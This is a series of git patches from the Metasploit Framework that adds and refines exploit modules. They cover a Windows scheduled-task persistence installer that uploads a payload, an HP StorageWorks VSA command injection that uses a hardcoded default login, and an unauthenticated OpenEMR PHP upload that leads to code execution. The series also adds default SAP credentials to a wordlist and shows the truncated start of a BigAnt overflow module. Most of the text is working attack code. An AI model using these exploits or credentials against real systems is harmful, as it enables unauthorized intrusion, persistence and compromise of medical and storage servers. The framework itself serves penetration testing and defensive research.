From 73f136ef9a8161deb2dda0a3d6b59ea0fb2aa1f3 Mon Sep 17 00:00:00 2001 From: Brandon Turner Date: Mon, 4 Feb 2013 15:01:35 -0600 Subject: [PATCH 01/18] Update msfupdate to work with debian packages If apt was used to install framework, use apt-get to update. --- msfupdate | 43 +++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 41 insertions(+), 2 deletions(-) diff --git a/msfupdate b/msfupdate index 058fd8f51eaa..6b168d009129 100755 --- a/msfupdate +++ b/msfupdate @@ -30,9 +30,13 @@ if not (Process.uid == 0 or File.stat(msfbase).owned?) exit 0x10 end +def is_apt + File.exists?(File.expand_path(File.join(@msfbase_dir, '.apt'))) +end + # Are you an installer, or did you get here via a source checkout? def is_installed - File.exists?(File.expand_path(File.join(@msfbase_dir, "..", "engine", "update.rb"))) + File.exists?(File.expand_path(File.join(@msfbase_dir, "..", "engine", "update.rb"))) && !is_apt end def is_git @@ -69,6 +73,24 @@ def maybe_wait_and_exit(exit_code=0) end end +def apt_upgrade_available(package) + require 'open3' + installed = nil + upgrade = nil + ::Open3.popen3("apt-cache", "policy", package) do |stdin, stdout, stderr| + stdout.each do |line| + installed = $1 if line =~ /Installed: ([\w\-+.:~]+)$/ + upgrade = $1 if line =~ /Candidate: ([\w\-+.:~]+)$/ + break if installed && upgrade + end + end + if installed && installed != upgrade + upgrade + else + nil + end +end + # Some of these args are meaningful for SVN, some for Git, # some for both. Fun times. @args.each_with_index do |arg,i| @@ -186,7 +208,24 @@ if is_installed end end -unless is_svn || is_git || is_installed +if is_apt + $stdout.puts "[*] Checking for updates" + system("apt-get", "-qq", "update") + + packages = [] + packages << 'metasploit-framework' if framework_version = apt_upgrade_available('metasploit-framework') + packages << 'metasploit' if pro_version = apt_upgrade_available('metasploit') + + if packages.empty? + $stdout.puts "[*] No updates available" + else + $stdout.puts "[*] Updating to version #{pro_version || framework_version}" + system("apt-get", "install", "--assume-yes", *packages) + system("/etc/init.d/metasploit start") if packages.include?('metasploit') + end +end + +unless is_svn || is_git || is_installed || is_apt raise RuntimeError, "Cannot determine checkout type: `#{@msfbase_dir}'" end From 3a499b1a6df332e4751f8fd8a3bd39bf3fb9988b Mon Sep 17 00:00:00 2001 From: smilingraccoon Date: Sun, 10 Feb 2013 14:22:36 -0500 Subject: [PATCH 02/18] added s4u_persistence.rb --- data/exploits/s4u_persistence | 50 +++ .../exploits/windows/local/s4u_persistence.rb | 402 ++++++++++++++++++ 2 files changed, 452 insertions(+) create mode 100644 data/exploits/s4u_persistence create mode 100644 modules/exploits/windows/local/s4u_persistence.rb diff --git a/data/exploits/s4u_persistence b/data/exploits/s4u_persistence new file mode 100644 index 000000000000..2d736d225e64 --- /dev/null +++ b/data/exploits/s4u_persistence @@ -0,0 +1,50 @@ + + + + DATEHERE + USERHERE + + + + + PT60M + false + + DATEHERE + true + + + + + DOMAINHERE + S4U + LeastPrivilege + + + + Parallel + true + true + true + false + false + + PT10M + PT1H + true + false + + true + true + true + false + false + PT72H + 7 + + + + COMMANDHERE + + + \ No newline at end of file diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb new file mode 100644 index 000000000000..0d5189064ac6 --- /dev/null +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -0,0 +1,402 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/windows/priv' +require 'msf/core/exploit/exe' + +class Metasploit3 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Windows::Priv + include Exploit::EXE + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Manage User Level Persistent Payload Installer', + 'Description' => %q{ + Creates a scheduled task that will run using service-for-user (S4U). + This allows the scheduled task to run even as an unprivileged user + that is not logged into the device. This will result in lower security + context, allowing access to local resources only. The module + requires 'Logon as a batch job' permissions (SeBatchLogonRight). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Thomas McCarthy "smilingraccoon" ', + 'Brandon McCann "zeknox" ' + ], + 'Platform' => [ 'windows' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ [ 'Windows', {} ] ], + 'DefaultTarget' => 0, + 'References' => [ + [ 'URL', 'http://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/'], + [ 'URL', 'http://www.scriptjunkie.us/2013/01/running-code-from-a-non-elevated-account-at-any-time/'] + ] + )) + + register_options( + [ + OptInt.new('FREQUENCY', [false, 'Schedule trigger: Frequency in minutes to execute']), + OptInt.new('EXPIRE_TIME', [false, 'Number of minutes until trigger expires']), + OptEnum.new('TRIGGER', [true, 'Payload trigger method', 'schedule',['logon', 'lock', 'unlock','schedule', 'event']]), + OptString.new('REXENAME',[false, 'Name of exe on remote system']), + OptString.new('RTASKNAME',[false, 'Name of exe on remote system']), + OptString.new('PATH',[false, 'PATH to write payload']) + ], self.class) + + register_advanced_options( + [ + OptString.new('EVENT_LOG', [false, 'Event trigger: The event log to check for event']), + OptInt.new('EVENT_ID', [false, 'Event trigger: Event ID to trigger on.']), + OptString.new('XPATH', [false, 'XPath query']) + ], self.class) + end + + def exploit + if not (sysinfo['OS'] =~ /Build [6-9]\d\d\d/) + print_error("This module only works on Vista/2008 and above") + return + end + + if datastore['TRIGGER'] == "event" + if datastore['EVENT_LOG'].nil? or datastore['EVENT_ID'].nil? + print_error("Advanced options EVENT_LOG and EVENT_ID required for event") + print_status("The properties of any event in the event viewer will contain this information") + return + end + end + + # Generate payload + payload = generate_payload_exe + + # Generate remote executable name + rexename = generate_rexename + + # Generate path names + xml_path,rexe_path = generate_path(rexename) + + # Upload REXE to victim fs + upload_response = upload_rexe(rexe_path, payload) + return if not upload_response + + # Create basic XML outline + xml = create_xml(rexe_path) + + # Fix XML based on trigger + xml = add_xml_triggers(xml) + + # Write XML to victim fs, if fail clean up + if not write_xml(xml, xml_path) + delete_file(rexe_path) + return + end + + # Name task with Opt or give random name + schname = datastore['RTASKNAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + + # Create task with modified XML + task = create_task(xml_path, schname, rexe_path) + end + + ############################################################## + # Generate name for payload + # Returns name + + def generate_rexename + if datastore['REXENAME'].nil? + rexename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + return rexename + elsif datastore['REXENAME'] =~ /\.exe$/ + rexename = datastore['REXENAME'] + return rexename + else + print_warning("#{datastore['REXENAME']} isn't an exe") + return rexename + end + end + + ############################################################## + # Generate Path for payload upload + # Returns path for xml and payload + + def generate_path(rexename) + # generate a path to write payload and xml + path = datastore['PATH'] || session.fs.file.expand_path("%TEMP%") + xml_path = "#{path}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}.xml" + rexe_path = "#{path}\\#{rexename}" + return xml_path,rexe_path + end + + ############################################################## + # Upload the executable payload + # Returns boolean for success + + def upload_rexe(path, payload) + vprint_status("Uploading #{path}") + if file? path + print_error("File #{path} already exists...exiting") + return false + end + begin + fd = client.fs.file.new(path, "wb") + fd.write(payload) + fd.close + rescue + print_error("Could not upload to #{path}") + return false + end + print_status("Successfully uploaded remote executable to #{path}") + return true + end + + ############################################################## + # Creates a scheduled task, exports as XML, deletes task + # Returns normal XML for generic task + + def create_xml(rexe_path) + xml_path = File.join(Msf::Config.install_root, "data", "exploits", "s4u_persistence") + xml_file = File.new(xml_path,"r") + xml = xml_file.read + xml_file.close + + # Get local time, not system time from victim machine + begin + vt = client.railgun.kernel32.GetLocalTime(32) + ut = vt['lpSystemTime'].unpack("v*") + t = ::Time.utc(ut[0],ut[1],ut[3],ut[4],ut[5]) + rescue + print_warning("Could not read system time from victim...using your local time to determine expire date") + t = ::Time.now + end + date = t.strftime("%Y-%m-%d") + time = t.strftime("%H:%M:%S") + + # put in correct times + xml = xml.gsub(/DATEHERE/, "#{date}T#{time}") + + domain, user = client.sys.config.getuid.split('\\') + + # put in user information + xml = xml.sub(/DOMAINHERE/, user) + xml = xml.sub(/USERHERE/, "#{domain}\\#{user}") + + xml = xml.sub(/COMMANDHERE/, rexe_path) + return xml + end + + ############################################################## + # Takes the XML, alters it based on trigger specified. Will also + # add in expiration tag if used. + # Returns the modified XML + + def add_xml_triggers(xml) + # Insert trigger + case datastore['TRIGGER'] + when 'logon' + # Trigger based on winlogon event, checks windows license key after logon + print_status("This trigger triggers on event 4101 which validates the Windows license") + line = "(EventID=4101) and *[System[Provider[@Name='Microsoft-Windows-Winlogon']]]" + xml = create_trigger_event_tags("Application", line, xml) + + when 'lock' + xml = create_trigger_tags("SessionLock", xml) + + when 'unlock' + xml = create_trigger_tags("SessionUnlock", xml) + + when 'event' + line = "*[System[(EventID=#{datastore['EVENT_ID']})]]" + if not datastore['XPATH'].nil? + # Append xpath queries + line << " and #{datastore['XPATH']}" + end + vprint_status("XPath query: #{line}") + + xml = create_trigger_event_tags(datastore['EVENT_LOG'], line, xml) + + when 'schedule' + # Change interval tag, insert into XML + if datastore['FREQUENCY'] != 0 + minutes = datastore['FREQUENCY'] + else + print_status("Defaulting frequency to every hour") + minutes = 60 + end + xml = xml.sub(/.*?PT#{minutes}M<") + + # Generate expire tag + end_boundary = create_expire_tag if datastore['EXPIRE_TIME'] + + # Inject expire tag + insert = xml.index("") + xml.insert(insert + 16, "\n #{end_boundary}") + end + return xml + end + + ############################################################## + # Creates end boundary tag which expires the trigger + # Returns XML for expire + + def create_expire_tag() + # Get local time, not system time from victim machine + begin + vt = client.railgun.kernel32.GetLocalTime(32) + ut = vt['lpSystemTime'].unpack("v*") + t = ::Time.utc(ut[0],ut[1],ut[3],ut[4],ut[5]) + rescue + print_error("Could not read system time from victim...using your local time to determine expire date") + t = ::Time.now + end + + # Create time object to add expire time to and create tag + t = t + (datastore['EXPIRE_TIME'] * 60) + date = t.strftime("%Y-%m-%d") + time = t.strftime("%H:%M:%S") + end_boundary = "#{date}T#{time}" + return end_boundary + end + + ############################################################## + # Creates trigger XML for session state triggers and replaces + # the time trigger. + # Returns altered XML + + def create_trigger_tags(trig, xml) + domain, user = client.sys.config.getuid.split('\\') + + # Create session state trigger, weird spacing used to maintain + # natural Winadows spacing for XML export + temp_xml = "\n" + temp_xml << " #{create_expire_tag}" if not datastore['EXPIRE_TIME'] + temp_xml << " true\n" + temp_xml << " #{trig}\n" + temp_xml << " #{domain}\\#{user}\n" + temp_xml << " " + + xml = xml.gsub(/.*<\/TimeTrigger>/m, temp_xml) + + return xml + end + + ############################################################## + # Creates trigger XML for event based triggers and replaces + # the time trigger. + # Returns altered XML + + def create_trigger_event_tags(log, line, xml) + # Fscked up XML syntax for windows event #{id} in #{log}, weird spacind + # used to maintain natural Windows spacing for XML export + temp_xml = "\n" + temp_xml << " #{create_expire_tag}\n" if not datastore['EXPIRE_TIME'] + temp_xml << " true\n" + temp_xml << " <QueryList><Query Id=\"0\" " + temp_xml << "Path=\"#{log}\"><Select Path=\"#{log}\">" + temp_xml << line + temp_xml << "</Select></Query></QueryList>" + temp_xml << "\n" + temp_xml << " " + + xml = xml.gsub(/.*<\/TimeTrigger>/m, temp_xml) + return xml + end + + ############################################################## + # Takes the XML and a path and writes file to filesystem + # Returns boolean for success + + def write_xml(xml, path) + begin + if file? path + print_error("File #{path} already exists...exiting") + return false + end + fd = session.fs.file.new(path, "wb") + fd.write(xml) + fd.close + rescue + print_error("Issues writing XML to #{path}") + return false + end + print_status("Successfully wrote XML file to #{path}") + return true + end + + ############################################################## + # Takes path and delete file + # Returns boolean for success + + def delete_file(path) + begin + session.fs.file.rm(path) + rescue + print_warning("Could not delete file #{path}, delete manually") + return false + end + return true + end + + ############################################################## + # Takes path and name for task and creates final task + # Returns boolean for success + + def create_task(path, schname, rexe_path) + # create task using XML file on victim fs + create_task_response = cmd_exec("cmd.exe", "/c schtasks /create /xml #{path} /tn \"#{schname}\"") + if create_task_response =~ /has successfully been created/ + print_good("Persistence task #{schname} created successfully") + + # Create to delete commands for exe and task + del_task = "schtasks /delete /tn \"#{schname}\" /f" + print_status("#{"To delete task:".ljust(20)} #{del_task}") + print_status("#{"To delete payload:".ljust(20)} del #{rexe_path}") + del_task << "\ndel #{rexe_path}" + + # Delete XML from victim + delete_file(path) + + # Save info to notes DB + report_note(:host => session.session_host, + :type => "host.s4u_persistance.cleanup", + :data => { + :session_num => session.sid, + :stype => session.type, + :desc => session.info, + :platform => session.platform, + :via_payload => session.via_payload, + :via_exploit => session.via_exploit, + :created_at => Time.now.utc, + :delete_commands => del_task + } + ) + return true + elsif create_task_response =~ /ERROR: Cannot create a file when that file already exists/ + print_error("The scheduled task name is already in use") + # Clean up + delete_file(rexe_path) + delete_file(path) + else + print_error("Issues creating task using XML file schtasks") + vprint_error("Error: #{create_task_response}") + if datastore['EVENT_LOG'] == 'Security' and datastore['TRIGGER'] == "Event" + print_warning("Security log can restricted by UAC, try a different trigger") + end + # Clean up + delete_file(rexe_path) + delete_file(path) + return false + end + end +end \ No newline at end of file From bbf8fe0213ed884e0745b748029182313d9149cb Mon Sep 17 00:00:00 2001 From: smilingraccoon Date: Wed, 13 Feb 2013 18:10:05 -0500 Subject: [PATCH 03/18] Use Post::File methods and fail_with --- .../exploits/windows/local/s4u_persistence.rb | 72 +++++++------------ 1 file changed, 26 insertions(+), 46 deletions(-) diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb index 0d5189064ac6..9f00f8d5283c 100644 --- a/modules/exploits/windows/local/s4u_persistence.rb +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -39,6 +39,7 @@ def initialize(info={}) 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows', {} ] ], + 'DisclosureDate' => [ 'Jan 2 2013' ], 'DefaultTarget' => 0, 'References' => [ [ 'URL', 'http://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/'], @@ -66,15 +67,13 @@ def initialize(info={}) def exploit if not (sysinfo['OS'] =~ /Build [6-9]\d\d\d/) - print_error("This module only works on Vista/2008 and above") - return + fail_with(Exploit::Failure::NoTarget, "This module only works on Vista/2008 and above") end if datastore['TRIGGER'] == "event" if datastore['EVENT_LOG'].nil? or datastore['EVENT_ID'].nil? - print_error("Advanced options EVENT_LOG and EVENT_ID required for event") print_status("The properties of any event in the event viewer will contain this information") - return + fail_with(Exploit::Failure::BadConfig, "Advanced options EVENT_LOG and EVENT_ID required for event") end end @@ -88,8 +87,7 @@ def exploit xml_path,rexe_path = generate_path(rexename) # Upload REXE to victim fs - upload_response = upload_rexe(rexe_path, payload) - return if not upload_response + upload_rexe(rexe_path, payload) # Create basic XML outline xml = create_xml(rexe_path) @@ -98,16 +96,13 @@ def exploit xml = add_xml_triggers(xml) # Write XML to victim fs, if fail clean up - if not write_xml(xml, xml_path) - delete_file(rexe_path) - return - end + write_xml(xml, xml_path, rexe_path) # Name task with Opt or give random name schname = datastore['RTASKNAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) # Create task with modified XML - task = create_task(xml_path, schname, rexe_path) + create_task(xml_path, schname, rexe_path) end ############################################################## @@ -115,16 +110,11 @@ def exploit # Returns name def generate_rexename - if datastore['REXENAME'].nil? - rexename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - return rexename - elsif datastore['REXENAME'] =~ /\.exe$/ - rexename = datastore['REXENAME'] - return rexename - else + rexename = datastore['REXENAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + if not rexename =~ /\.exe$/ print_warning("#{datastore['REXENAME']} isn't an exe") - return rexename end + return rexename end ############################################################## @@ -133,7 +123,7 @@ def generate_rexename def generate_path(rexename) # generate a path to write payload and xml - path = datastore['PATH'] || session.fs.file.expand_path("%TEMP%") + path = datastore['PATH'] || expand_path("%TEMP%") xml_path = "#{path}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}.xml" rexe_path = "#{path}\\#{rexename}" return xml_path,rexe_path @@ -146,19 +136,15 @@ def generate_path(rexename) def upload_rexe(path, payload) vprint_status("Uploading #{path}") if file? path - print_error("File #{path} already exists...exiting") - return false + fail_with(Exploit::Failure::Unknown, "File #{path} already exists...exiting") end begin - fd = client.fs.file.new(path, "wb") - fd.write(payload) - fd.close - rescue - print_error("Could not upload to #{path}") - return false + write_file(path, payload) + rescue => e + puts e + fail_with(Exploit::Failure::Unknown, "Could not upload to #{path}") end print_status("Successfully uploaded remote executable to #{path}") - return true end ############################################################## @@ -317,21 +303,18 @@ def create_trigger_event_tags(log, line, xml) # Takes the XML and a path and writes file to filesystem # Returns boolean for success - def write_xml(xml, path) + def write_xml(xml, path, rexe_path) + if file? path + delete_file(rexe_path) + fail_with(Exploit::Failure::Unknown, "File #{path} already exists...exiting") + end begin - if file? path - print_error("File #{path} already exists...exiting") - return false - end - fd = session.fs.file.new(path, "wb") - fd.write(xml) - fd.close + write_file(path, xml) rescue - print_error("Issues writing XML to #{path}") - return false + delete_file(rexe_path) + fail_with(Exploit::Failure::Unknown, "Issues writing XML to #{path}") end print_status("Successfully wrote XML file to #{path}") - return true end ############################################################## @@ -340,12 +323,10 @@ def write_xml(xml, path) def delete_file(path) begin - session.fs.file.rm(path) + file_rm(path) rescue print_warning("Could not delete file #{path}, delete manually") - return false end - return true end ############################################################## @@ -381,14 +362,13 @@ def create_task(path, schname, rexe_path) :delete_commands => del_task } ) - return true elsif create_task_response =~ /ERROR: Cannot create a file when that file already exists/ print_error("The scheduled task name is already in use") # Clean up delete_file(rexe_path) delete_file(path) else - print_error("Issues creating task using XML file schtasks") + error = "Issues creating task using XML file schtasks" vprint_error("Error: #{create_task_response}") if datastore['EVENT_LOG'] == 'Security' and datastore['TRIGGER'] == "Event" print_warning("Security log can restricted by UAC, try a different trigger") @@ -396,7 +376,7 @@ def create_task(path, schname, rexe_path) # Clean up delete_file(rexe_path) delete_file(path) - return false + fail_with(Exploit::Failure::Unknown, error) end end end \ No newline at end of file From e78cbdd14d40c544c20170888af5bb0ddb039f8d Mon Sep 17 00:00:00 2001 From: smilingraccoon Date: Wed, 13 Feb 2013 18:17:38 -0500 Subject: [PATCH 04/18] missed one line --- modules/exploits/windows/local/s4u_persistence.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb index 9f00f8d5283c..5556acfbdbb3 100644 --- a/modules/exploits/windows/local/s4u_persistence.rb +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -363,10 +363,11 @@ def create_task(path, schname, rexe_path) } ) elsif create_task_response =~ /ERROR: Cannot create a file when that file already exists/ - print_error("The scheduled task name is already in use") # Clean up delete_file(rexe_path) delete_file(path) + error = "The scheduled task name is already in use" + fail_with(Exploit::Failure::Unknown, error) else error = "Issues creating task using XML file schtasks" vprint_error("Error: #{create_task_response}") From 7b2c1afadb99a73f8f9ab3e55b96550e892b7494 Mon Sep 17 00:00:00 2001 From: Thomas McCarthy Date: Thu, 14 Feb 2013 09:16:47 -0500 Subject: [PATCH 05/18] I'm an idiot, fix logon xpath --- modules/exploits/windows/local/s4u_persistence.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb index 5556acfbdbb3..1d5d2cc0bb29 100644 --- a/modules/exploits/windows/local/s4u_persistence.rb +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -193,7 +193,7 @@ def add_xml_triggers(xml) when 'logon' # Trigger based on winlogon event, checks windows license key after logon print_status("This trigger triggers on event 4101 which validates the Windows license") - line = "(EventID=4101) and *[System[Provider[@Name='Microsoft-Windows-Winlogon']]]" + line = "*[System[EventID='4101']] and *[System[Provider[@Name='Microsoft-Windows-Winlogon']]]" xml = create_trigger_event_tags("Application", line, xml) when 'lock' @@ -380,4 +380,4 @@ def create_task(path, schname, rexe_path) fail_with(Exploit::Failure::Unknown, error) end end -end \ No newline at end of file +end From 65194441122d858f02c52d896fc933a3ab1cbdae Mon Sep 17 00:00:00 2001 From: Chris John Riley Date: Fri, 15 Feb 2013 13:35:25 +0100 Subject: [PATCH 06/18] Addition defaults --- data/wordlists/sap_default.txt | 3 +++ 1 file changed, 3 insertions(+) diff --git a/data/wordlists/sap_default.txt b/data/wordlists/sap_default.txt index dcd73dd49cdf..2102fd069bf3 100644 --- a/data/wordlists/sap_default.txt +++ b/data/wordlists/sap_default.txt @@ -12,3 +12,6 @@ ADS_AGENT ch4ngeme DEVELOPER ch4ngeme J2EE_ADMIN ch4ngeme SAPJSF ch4ngeme +SAPR3 SAP +CTB_ADMIN sap123 +XMI_DEMO sap123 \ No newline at end of file From 221ce22f53e9f80b6ecb4dcff28b817870413639 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 15 Feb 2013 19:01:58 +0100 Subject: [PATCH 07/18] make msftidy happy --- modules/exploits/multi/misc/hp_vsa_exec.rb | 51 ++++++++++++++++++---- 1 file changed, 43 insertions(+), 8 deletions(-) diff --git a/modules/exploits/multi/misc/hp_vsa_exec.rb b/modules/exploits/multi/misc/hp_vsa_exec.rb index d9a7bbab08a1..b9aae48bdf6f 100644 --- a/modules/exploits/multi/misc/hp_vsa_exec.rb +++ b/modules/exploits/multi/misc/hp_vsa_exec.rb @@ -17,7 +17,7 @@ def initialize(info={}) 'Name' => "HP StorageWorks P4000 Virtual SAN Appliance Command Execution", 'Description' => %q{ This module exploits a vulnerability found in HP's StorageWorks P4000 VSA on - versions prior to 9.5. By using a default account credential, it is possible + versions prior to 9.5. By using a default account credential, it is possible to inject arbitrary commands as part of a ping request via port 13838. }, 'License' => MSF_LICENSE, @@ -50,9 +50,11 @@ def initialize(info={}) 'Arch' => ARCH_CMD, 'Targets' => [ - ['HP VSA prior to 9.5', {}] + [ 'Automatic', {} ], + [ 'HP VSA up to 8.5', { 'Version' => '8.5.0' } ], + [ 'HP VSA 9', { 'Version' => '9.0.0' } ] ], - 'Privileged' => false, + 'Privileged' => true, 'DisclosureDate' => "Nov 11 2011", 'DefaultTarget' => 0)) @@ -75,20 +77,53 @@ def generate_packet(data) pkt end + def get_target + if target.name !~ /Automatic/ + return target + end - def exploit - connect - - # Login packet - print_status("#{rhost}:#{rport} Sending login packet") + # Login at 8.5.0 packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"8.5.0\"") + print_status("#{rhost}:#{rport} Sending login packet for version 8.5.0") + sock.put(packet) + res = sock.get_once + vprint_status(Rex::Text.to_hex_dump(res)) if res + if res and res=~ /OK/ and res=~ /Login/ + return targets[1] + end + + # Login at 9.0.0 + packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"9.0.0\"") + print_status("#{rhost}:#{rport} Sending login packet for version 9.0.0") sock.put(packet) res = sock.get_once vprint_status(Rex::Text.to_hex_dump(res)) if res + if res and res=~ /OK/ and res =~ /Login/ + return targets[2] + end + + fail_with(Msf::Exploit::Failure::NoTarget, "#{rhost}:#{rport} - Target auto detection didn't work'") + end + + def exploit + connect + + if target.name =~ /Automatic/ + my_target = get_target + print_good("#{rhost}:#{rport} - Target #{my_target.name} found") + else + my_target = target + print_status("#{rhost}:#{rport} Sending login packet") + packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"#{my_target['Version']}\"") + sock.put(packet) + res = sock.get_once + vprint_status(Rex::Text.to_hex_dump(res)) if res + end # Command execution print_status("#{rhost}:#{rport} Sending injection") data = "get:/lhn/public/network/ping/127.0.0.1/foobar;#{payload.encoded}/" + data << "64/5/" if my_target.name =~ /9/ packet = generate_packet(data) sock.put(packet) res = sock.get_once From 6b1bb9e1e8f3c31dbdc1a8e21b0cdd6a80de8c1b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 16 Feb 2013 13:11:46 +0100 Subject: [PATCH 08/18] Added module for OSVDB 90222 --- .../unix/webapp/openemr_upload_exec.rb | 132 ++++++++++++++++++ 1 file changed, 132 insertions(+) create mode 100644 modules/exploits/unix/webapp/openemr_upload_exec.rb diff --git a/modules/exploits/unix/webapp/openemr_upload_exec.rb b/modules/exploits/unix/webapp/openemr_upload_exec.rb new file mode 100644 index 000000000000..41957608bf8b --- /dev/null +++ b/modules/exploits/unix/webapp/openemr_upload_exec.rb @@ -0,0 +1,132 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "OpenEMR PHP File Upload Vulnerability", + 'Description' => %q{ + This module exploits a vulnerability found in OpenEMR 4.1.1 By abusing the + ofc_upload_image.php file from the openflashchart library, a malicious user can + upload a file to the tmp-upload-images directory without any authentication, which + results in arbitrary code execution. The module has been tested successfully on + OpenEMR 4.1.1 over Ubuntu 10.04. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Gjoko Krstic ', # Discovery, PoC + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'OSVDB', '90222' ], + [ 'BID', '37314' ], + [ 'EBD', '24492' ], + [ 'URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5126.php' ], + [ 'URL', 'http://www.open-emr.org/wiki/index.php/OpenEMR_Patches' ] + ], + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + ['OpenEMR 4.1.1', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => "Feb 13 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to EGallery', '/openemr']) + ], self.class) + end + + def check + uri = target_uri.path + peer = "#{rhost}:#{rport}" + + # Check version + print_status("#{peer} - Trying to detect installed version") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "interface", "login", "login.php") + }) + + if res and res.code == 200 and res.body =~ /v(\d\.\d\.\d)/ + version = $1 + else + return Exploit::CheckCode::Unknown + end + + print_status("#{peer} - Version #{version} detected") + + if version > "4.1.1" + return Exploit::CheckCode::Safe + end + + # Check for vulnerable component + print_status("#{peer} - Trying to detect the vulnerable component") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php"), + }) + + if res and res.code == 200 and res.body =~ /Saving your image to/ + return Exploit::CheckCode::Detected + end + + return Exploit::CheckCode::Safe + end + + def exploit + uri = target_uri.path + + peer = "#{rhost}:#{rport}" + payload_name = rand_text_alpha(rand(10) + 5) + '.php' + my_payload = payload.encoded + + print_status("#{peer} - Sending PHP payload (#{payload_name})") + res = send_request_raw({ + 'method' => 'POST', + 'uri' => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php") + "?name=#{payload_name}", + 'headers' => { "Content-Length" => my_payload.length.to_s }, + 'data' => my_payload + }) + + # If the server returns 200 and the body contains our payload name, + # we assume we uploaded the malicious file successfully + if not res or res.code != 200 or res.body !~ /Saving your image to.*#{payload_name}$/ + fail_with(Exploit::Failure::NotVulnerable, "#{peer} - File wasn't uploaded, aborting!") + end + + register_file_for_cleanup(payload_name) + + print_status("#{peer} - Executing PHP payload (#{payload_name})") + # Execute our payload + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "library", "openflashchart", "tmp-upload-images", payload_name), + }) + + # If we don't get a 200 when we request our malicious payload, we suspect + # we don't have a shell, either. Print the status code for debugging purposes. + if res and res.code != 200 + print_error("#{peer} - Server returned #{res.code.to_s}") + end + end + +end From a8d574e4ce0437f4a8d57ee1f47ea99067d55935 Mon Sep 17 00:00:00 2001 From: Thomas McCarthy Date: Sun, 17 Feb 2013 14:08:33 -0500 Subject: [PATCH 09/18] Updated one print_status --- modules/exploits/windows/local/s4u_persistence.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb index 1d5d2cc0bb29..e6197463c52f 100644 --- a/modules/exploits/windows/local/s4u_persistence.rb +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -163,7 +163,7 @@ def create_xml(rexe_path) ut = vt['lpSystemTime'].unpack("v*") t = ::Time.utc(ut[0],ut[1],ut[3],ut[4],ut[5]) rescue - print_warning("Could not read system time from victim...using your local time to determine expire date") + print_warning("Could not read system time from victim...using your local time to determine creation date") t = ::Time.now end date = t.strftime("%Y-%m-%d") From 1a2a0bc38e44edc2c6dfec5a7e641788ef6962ba Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 17 Feb 2013 20:21:45 +0100 Subject: [PATCH 10/18] Added module for CVE-2012-6275 --- .../misc/bigant_server_sch_dupf_bof.rb | 183 ++++++++++++++++++ 1 file changed, 183 insertions(+) create mode 100644 modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb diff --git a/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb b/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb new file mode 100644 index 000000000000..fd560463cd2e --- /dev/null +++ b/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb @@ -0,0 +1,183 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of 